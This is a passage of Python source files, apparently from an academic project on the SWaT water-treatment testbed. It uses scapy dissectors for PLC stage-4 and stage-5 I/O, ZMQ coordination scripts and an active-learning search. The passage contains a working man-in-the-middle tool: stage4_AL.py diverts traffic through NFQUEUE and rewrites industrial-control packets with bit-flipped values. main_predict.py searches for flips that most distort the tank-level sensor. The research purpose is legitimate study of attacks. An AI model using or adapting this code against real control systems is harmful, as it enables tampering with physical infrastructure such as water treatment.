stage='stage'+str(nstage)
pkts = PcapReader('packet/' + date + stage + '.pcap')
files = pd.read_csv('log/' + date + sensor + '.csv')
start_time = files[" Timestamp"][1]
# start_time = ' 1/8/2019 9:30:43 PM'
print start_time
a = time.strptime(start_time, ' %d/%m/%Y %I:%M:%S %p')
t0 = time.mktime(a)
ip1=map_ip_address(nstage)+'2'
ip2=map_ip_address(nstage)+'0'
count = 1
second_count = 0
templist = []
p2_50 = np.zeros(256, dtype=int)
p2_40 = np.zeros(176, dtype=int)
p2_28 = np.zeros(80, dtype=int)
p0_40 = np.zeros(176, dtype=int)
while True:
pkt = pkts.read_packet()
if pkt is None:
break
else:
# print pkt.time
if pkt.time < Decimal(t0):
continue
if pkt.haslayer("Raw"):
if pkt["IP"].src == ip1:
if len(pkt[Raw]) == 32:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p2_50[j] = a[j]
if len(pkt[Raw]) == 22:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p2_40[j] = a[j]
if len(pkt[Raw]) == 10:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p2_28[j] = a[j]
if pkt["IP"].src == ip2:
if len(pkt[Raw]) == 22:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p0_40[j] = a[j]
if pkt.time - Decimal(t0) >= 1:
temp = np.hstack((p2_50, p2_40, p2_28, p0_40))
templist.append(temp)
t0 = pkt.time
print(count)
count += 1
if count>num:
break
x = np.array(templist)
# print x
# print len(x[0])
q = time.time()
# np.save('vector/'+date+stage+'_whole.npy', x)
print time.time() - q
np.save('vector/'+date+stage+'_whole.npy', x)
pkts.close()
return 0
date = '0806'
nstage=4
sensor = 'LIT401'
extract_bits(date,nstage,sensor,1000)
```
stage4_AL.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import time
import numpy as np
from bitdump import *
import binascii
from netfilterqueue import NetfilterQueue
from AL_utils import *
import CIP_sequence
import os
p2_50 = np.zeros(256, dtype=int)
p2_40 = np.zeros(176, dtype=int)
p2_28 = np.zeros(80, dtype=int)
p0_40 = np.zeros(176, dtype=int)
total_length = len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40)
vector = np.hstack((p2_50,p2_40,p2_28,p0_40))
vector = vector.tolist()
modify_time = 0
modify_flag = 0
accept_flag = 0
capture_flag = 'False'
count = 0
start_time = 0
check_time = 0
time_interval = 30
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def read(filename):
fh = open(filename, 'r')
contents = fh.read()
fh.close()
return contents
def preprocess(x):
temp = x.strip('[')
temp = temp.strip(']')
final = np.fromstring(temp, dtype=int, sep='. ')
return final
def handle_packet(packet):
global modify_flag
global accept_flag
global modify_time
global count
global vector
global start_time
global capture_flag
global check_time
pkt = IP(packet.get_payload())
'''extract pv'''
if pkt.haslayer("Raw"):
if pkt["IP"].src == '192.168.0.42':
if len(pkt[Raw]) == 50:
stri = binascii.hexlify(str(pkt))
with open("string.txt", 'w') as i:
i.write(stri)
if time.time() - check_time >= 1:
check_time = time.time()
states = read('stage_states.txt')
states = states.split(' ')
accept_flag = int(states[0])
modify_flag = int(states[1])
if accept_flag == 1:
print 'accept'
capture_flag = 'False'
save('capture_flag4.txt', capture_flag)
packet.accept()
else:
if capture_flag == 'True':
packet.accept()
else:
'''start altering packets'''
if modify_flag == 1:
start_time = time.time()
new_vector = np.loadtxt('newvector.txt')
new_vector = new_vector.tolist()
if pkt.haslayer('Raw'):
if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 32:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,1))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 22:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,2))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 10:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,3))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pktnew))
if pkt['IP'].src == '192.168.0.40' and len(pkt['Raw']) == 22:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,4))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['UDP'].chksum
packet.set_payload(str(pkt))
packet.accept()
else:
'''search for the related bits'''
if time.time() - start_time >= 5:
vector = np.hstack((p2_50, p2_40, p2_28, p0_40))
vector = vector.tolist()
np.savetxt('stage4old.txt',vector,fmt='%d')
capture_flag = 'True'
save('capture_flag4.txt', capture_flag)
elif pkt.haslayer("Raw"):
if pkt.haslayer("Raw"):
if pkt["IP"].src == '192.168.0.42':
if len(pkt[Raw]) == 32:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p2_50[j] = a[j]
if len(pkt[Raw]) == 22:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p2_40[j] = a[j]
if len(pkt[Raw]) == 10:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p2_28[j] = a[j]
if pkt["IP"].src == '192.168.0.40':
if len(pkt[Raw]) == 22:
a = bitdump(pkt[Raw])
for j in range(len(a)):
p0_40[j] = a[j]
packet.accept()
if __name__ == '__main__':
os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1')
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet,10)
try:
print "[*] starting NFQUEUE"
start_time = time.time()
check_time = time.time()
print "start_time", start_time
nfqueue.run()
except KeyboardInterrupt:
os.system('sudo iptables -t mangle -F')
os.system('sudo sh start_lvl0.sh')
print "[*] stopping NFQUEUE"
nfqueue.unbind()
```
main_client.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
import zmq
import numpy as np
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
ip1 = "10.0.1.231"
ip2 = "10.0.1.232"
ip3 = "10.0.1.233"
ip4 = "10.0.1.234"
port_vector = "5510"
port_pv = '5511'
port_capture = '5512'
# Socket to talk to server
tcp_address1 = "tcp://" + ip1 + ":" + port_vector
tcp_address2 = "tcp://" + ip2 + ":" + port_vector
tcp_address3 = "tcp://" + ip3 + ":" + port_vector
tcp_address4 = "tcp://" + ip4 + ":" + port_vector
tcp_address1_pv = "tcp://" + ip1 + ":" + port_pv
tcp_address2_pv = "tcp://" + ip2 + ":" + port_pv
tcp_address3_pv = "tcp://" + ip3 + ":" + port_pv
tcp_address4_pv = "tcp://" + ip4 + ":" + port_pv
tcp_address1_capture = "tcp://" + ip1 + ":" + port_capture
tcp_address2_capture = "tcp://" + ip2 + ":" + port_capture
tcp_address3_capture = "tcp://" + ip3 + ":" + port_capture
tcp_address4_capture = "tcp://" + ip4 + ":" + port_capture
context = zmq.Context()
socket1 = context.socket(zmq.SUB)
socket1.connect(tcp_address1)
socket2 = context.socket(zmq.SUB)
socket2.connect(tcp_address2)
socket3 = context.socket(zmq.SUB)
socket3.connect(tcp_address3)
socket4 = context.socket(zmq.SUB)
socket4.connect(tcp_address4)
socket1_pv = context.socket(zmq.SUB)
socket1_pv.connect(tcp_address1_pv)
socket2_pv = context.socket(zmq.SUB)
socket2_pv.connect(tcp_address2_pv)
socket3_pv = context.socket(zmq.SUB)
socket3_pv.connect(tcp_address3_pv)
socket4_pv = context.socket(zmq.SUB)
socket4_pv.connect(tcp_address4_pv)
socket1_capture = context.socket(zmq.SUB)
socket1_capture.connect(tcp_address1_capture)
socket2_capture = context.socket(zmq.SUB)
socket2_capture.connect(tcp_address2_capture)
socket3_capture = context.socket(zmq.SUB)
socket3_capture.connect(tcp_address3_capture)
socket4_capture = context.socket(zmq.SUB)
socket4_capture.connect(tcp_address4_capture)
socket1.setsockopt(zmq.SUBSCRIBE, '')
socket2.setsockopt(zmq.SUBSCRIBE, '')
socket3.setsockopt(zmq.SUBSCRIBE, '')
socket4.setsockopt(zmq.SUBSCRIBE, '')
socket1_pv.setsockopt(zmq.SUBSCRIBE, '')
socket2_pv.setsockopt(zmq.SUBSCRIBE, '')
socket3_pv.setsockopt(zmq.SUBSCRIBE, '')
socket4_pv.setsockopt(zmq.SUBSCRIBE, '')
socket1_capture.setsockopt(zmq.SUBSCRIBE, '')
socket2_capture.setsockopt(zmq.SUBSCRIBE, '')
socket3_capture.setsockopt(zmq.SUBSCRIBE, '')
socket4_capture.setsockopt(zmq.SUBSCRIBE, '')
capture_flag = 'False'
save('capture_flag1.txt', capture_flag)
save('capture_flag2.txt', capture_flag)
save('capture_flag3.txt', capture_flag)
save('capture_flag4.txt', capture_flag)
def preprocess_message(x):
temp = x.strip('[')
temp = temp
final = np.fromstring(temp, dtype=int, sep=', ')
return final
while True:
capture_flag1 = socket1_capture.recv_string()
s1old = socket1.recv()
s1old = preprocess_message(s1old)
print s1old
pv1 = socket1_pv.recv_string()
capture_flag2 = socket2_capture.recv()
s2old = socket2.recv()
s2old = preprocess_message(s2old)
capture_flag3 = socket3_capture.recv()
s3old = socket3.recv()
s3old = preprocess_message(s3old)
capture_flag4 = socket4_capture.recv()
s4old = socket4.recv()
s4old = preprocess_message(s4old)
save('capture_flag1.txt', capture_flag1)
save('capture_flag2.txt', capture_flag2)
save('capture_flag3.txt', capture_flag3)
save('capture_flag4.txt', capture_flag4)
np.savetxt('stage1old.txt', s1old,fmt='%d')
np.savetxt('stage2old.txt', s2old,fmt='%d')
np.savetxt('stage3old.txt', s3old,fmt='%d')
np.savetxt('stage4old.txt', s4old,fmt='%d')
save('pv1.txt', pv1)
```
_PLC5.py
```# -*- coding: utf-8 -*-
# Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from scapy import all as scapy_all
import enip_cpf
__all__ = ['SWAT_P5_RIO_DO', 'SWAT_P5_RIO_DI', 'SWAT_P5_RIO_AI']
class SWAT_P5_RIO_DO(scapy_all.Packet):
name = "SWAT_P5_RIO_DO"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.ByteField('number', 0),
scapy_all.StrFixedLenField('reserved', 0, length=5),
scapy_all.BitEnumField('MV504_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV504_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV503_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV503_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV502_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV502_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV501_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV501_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P5_RIO_DI(scapy_all.Packet):
name = 'SWAT_P5_RIO_DI'
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.BitEnumField('P502_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P502_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P502_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P501_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P501_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P501_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('RIO5_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('PLC5_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV504_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV504_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV503_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV503_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV502_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV502_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV501_Close', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('MV501_Open', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
#scapy_all.BitEnumField('VSD502_Start', 0, 1, {0: 'disable', 1: 'enable'}),
#scapy_all.BitEnumField('VSD501_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.LEShortField('VSD502_Start', 0), #VSD is pump
scapy_all.LEShortField('VSD501_Start', 0),
scapy_all.BitEnumField('PSH501_High', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('PSL501_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P5_RIO_AI(scapy_all.Packet):
name = "SWAT_P5_RIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('AIT501_pH', 0),
scapy_all.LEShortField('AIT502_ORP', 0),
scapy_all.LEShortField('AIT503_Water_Cond', 0),
scapy_all.LEShortField('AIT504_Perm_Cond', 0),
scapy_all.LEShortField('FIT501_Feed_Flow', 0),
scapy_all.LEShortField('FIT502_Perm_Flow', 0),
scapy_all.LEShortField('FIT503_Con_Flow', 0),
scapy_all.LEShortField('FIT504_Recirculation_Flow', 0),
scapy_all.LEShortField('PIT501_RO_Pressure', 0),
scapy_all.LEShortField('PIT502_Perm_Pressure', 0),
scapy_all.LEShortField('PIT503_Con_Pressure', 0),
scapy_all.LEShortField('spare', 0),
]
scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222)
scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P5_RIO_AI, length=32)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P5_RIO_DI, length=10)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P5_RIO_DO, length=22)
```
_PLC4.py
```# -*- coding: utf-8 -*-
# Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from scapy import all as scapy_all
import enip_cpf
__all__ = ['SWAT_P4_RIO_DO', 'SWAT_P4_RIO_DI', 'SWAT_P4_RIO_AI']
class SWAT_P4_RIO_DO(scapy_all.Packet):
name = "SWAT_P4_RIO_DO"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.ByteField('number', 0),
scapy_all.StrFixedLenField('reserved', 0, length=5),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UV_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P404_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P403_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P402_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P401_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P4_RIO_DI(scapy_all.Packet):
name = 'SWAT_P4_RIO_DI'
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.BitEnumField('P402_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P402_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P402_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P401_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P401_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P401_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('RIO4_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('PLC4_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UV401_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UV401_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P404_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P404_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P404_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P403_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P403_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P403_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS401_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('UV401_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P4_RIO_AI(scapy_all.Packet):
name = "SWAT_P4_RIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('LIT401_Level', 0),
scapy_all.LEShortField('AIT401_Hardness', 0),
scapy_all.LEShortField('FIT401_Flow', 0),
scapy_all.LEShortField('AIT402_ORP', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
]
scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222)
scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P4_RIO_AI, length=32)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P4_RIO_DI, length=10)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P4_RIO_DO, length=22)
```
main_server.py
```import zmq
import numpy as np
import time
'''set tcp address'''
ip = "10.0.1.235"
port1 = "5501"
port2 = "5502"
port3 = "5503"
port4 = "5504"
tcp_address1 = "tcp://" + ip + ":" + port1
tcp_address2 = "tcp://" + ip + ":" + port2
tcp_address3 = "tcp://" + ip + ":" + port3
tcp_address4 = "tcp://" + ip + ":" + port4
context = zmq.Context()
socket1 = context.socket(zmq.PUB)
socket1.bind(tcp_address1)
socket2 = context.socket(zmq.PUB)
socket2.bind(tcp_address2)
socket3 = context.socket(zmq.PUB)
socket3.bind(tcp_address3)
socket4 = context.socket(zmq.PUB)
socket4.bind(tcp_address4)
while True:
'''send new vector to different stages'''
vn1 = np.loadtxt('stage1new.txt')
vn2 = np.loadtxt('stage2new.txt')
vn3 = np.loadtxt('stage3new.txt')
vn4 = np.loadtxt('stage4new.txt')
socket1.send_string("%s" % vn1)
socket2.send_string("%s" % vn2)
socket3.send_string("%s" % vn3)
socket4.send_string("%s" % vn4)
time.sleep(1)
```
stage3_server.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
import zmq
import time
import numpy as np
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def read(filename):
fh = open(filename, 'r')
contents = fh.read()
fh.close()
return contents
'''set tcp address'''
ip = "10.0.1.233"
port_vector = "5510"
tcp_address_vector = "tcp://" + ip + ":" + port_vector
port_pv = "5511"
tcp_address_pv = "tcp://" + ip + ":" + port_pv
port_capture = "5512"
tcp_address_capture = "tcp://" + ip + ":" + port_capture
context = zmq.Context()
socket_vector = context.socket(zmq.PUB)
socket_vector.bind(tcp_address_vector)
socket_pv = context.socket(zmq.PUB)
socket_pv.bind(tcp_address_pv)
socket_capture = context.socket(zmq.PUB)
socket_capture.bind(tcp_address_capture)
capture_flag = 'False'
pv_diff = '0'
stageold = [0]
while True:
'''send old vector to laptop'''
capture_flag = read('capture_flag1.txt')
socket_capture.send_string(capture_flag)
vo = map(int,np.loadtxt('stage1old.txt').tolist())
socket_vector.send_string(str(vo))
pv_diff = read('pv_diff.txt')
socket_pv.send_string(str(pv_diff))
time.sleep(1)
```
bitdump.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
def bitdump(x, dump=False):
s = ""
x = raw(x)
l = len(x)
i = 0
while i < l:
for j in range(16):
if i+j < l:
s += "%02X" % orb(x[i+j])
s+=""
if j%16 == 7:
s += ""
i += 16
if s.endswith("\n"):
s = s[:-1]
return bin(int(s,16)).replace("0b","")```
main_predict.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from sklearn.externals import joblib
import numpy as np
import time
from preprocess import *
from AL_utils import *
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.svm import LinearSVR
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def read(filename):
fh = open(filename, 'r')
contents = fh.read()
fh.close()
return contents
# import model
sensor = 'LIT401'
method = 'GBDT'
algorithm = 'EMCM'
model = joblib.load(sensor+'/origin/'+sensor+'_'+method+'_40min.pkl')
# import first batch
bits = np.load(sensor+'/origin/'+sensor+'_'+'bits_40min.npy')
label = np.loadtxt(sensor+'/origin/'+sensor+'_'+ 'diff30_40min.txt')
# testx = np.load(sensor+'/origin/'+sensor+'_'+'bits_test.npy')
# testy = np.loadtxt(sensor+'/origin/'+sensor+'_'+'diff30_test.txt')
#state:accept,modify
state_list = '0 0'
save('zmq/stage_states.txt', state_list)
if algorithm == 'EMCM':
block_size=int(np.shape(bits)[0]**(1/3))+1
if method == 'linear':
bootstrap_linear_model(bits,label,block_size,4)
if method == 'GBDT':
bootstrap_GBDT_model(bits, label, block_size, 4)
model_list = ['model/bootstrap_' + method + '_example0.pkl', 'model/bootstrap_' + method + '_example1.pkl',
'model/bootstrap_' + method + '_example2.pkl',
'model/bootstrap_' + method + '_example3.pkl']
vector = bits.tolist()
pv = label.tolist()
count = 0
print 'done loading'
# a = model.predict(testx)
# plt.figure()
# plt.plot(range(len(testy)), testy, 'b', label='real_test')
# plt.plot(range(len(testy)), a, 'r', label='predict_test')
# plt.legend()
# plt.show()
def train_gbdt(x, y):
model_gbdt = GradientBoostingRegressor(
loss='ls'
, learning_rate=0.1
, n_estimators=100
, subsample=0.8
, min_samples_split=2
, min_samples_leaf=1
, max_depth=50
, init=None
, random_state=None
, max_features=None
, alpha=0.9
, verbose=0
, max_leaf_nodes=None
, warm_start=False
)
model_gbdt.fit(x,y)
return model_gbdt
def train_linear(x, y):
model_linear = LinearSVR(C=1, tol=1e-5,max_iter=1000)
model_linear.fit(x, y)
return model_linear
def search(vector,model):
vector_list = []
v_list = []
y0 = model.predict([vector[0]])
for i in vector:
y = model.predict([i])
diff = abs(y-y0)
v_list.append(diff)
temp_list = v_list[:]
temp_list.sort(reverse=True)
for i in range(10):
vector_list.append(vector[v_list.index(temp_list[i])])
return vector_list
while True:
try:
capture_flag1 = read('zmq/capture_flag1.txt')
capture_flag2 = read('zmq/capture_flag2.txt')
capture_flag3 = read('zmq/capture_flag3.txt')
capture_flag4 = read('zmq/capture_flag4.txt')
if capture_flag1 == capture_flag2 == capture_flag3 == capture_flag4 == 'True':
state_list = '1 0'
save('zmq/stage_states.txt', state_list)
s1old = np.loadtxt('zmq/stage1old.txt')
s1old = s1old.tolist()
s2old = np.loadtxt('zmq/stage2old.txt')
s2old = s2old.tolist()
s3old = np.loadtxt('zmq/stage3old.txt')
s3old = s3old.tolist()
s4old = np.loadtxt('zmq/stage4old.txt')
s4old = s4old.tolist()
old_vector = s1old+s2old+s3old+s4old
#storage all the modified vector according to search algorithm
vector_temp = []
for i in range(2752):
temp = bit_flip(old_vector, i)
if i == 583:
temp = bit_flip(temp, 1279)
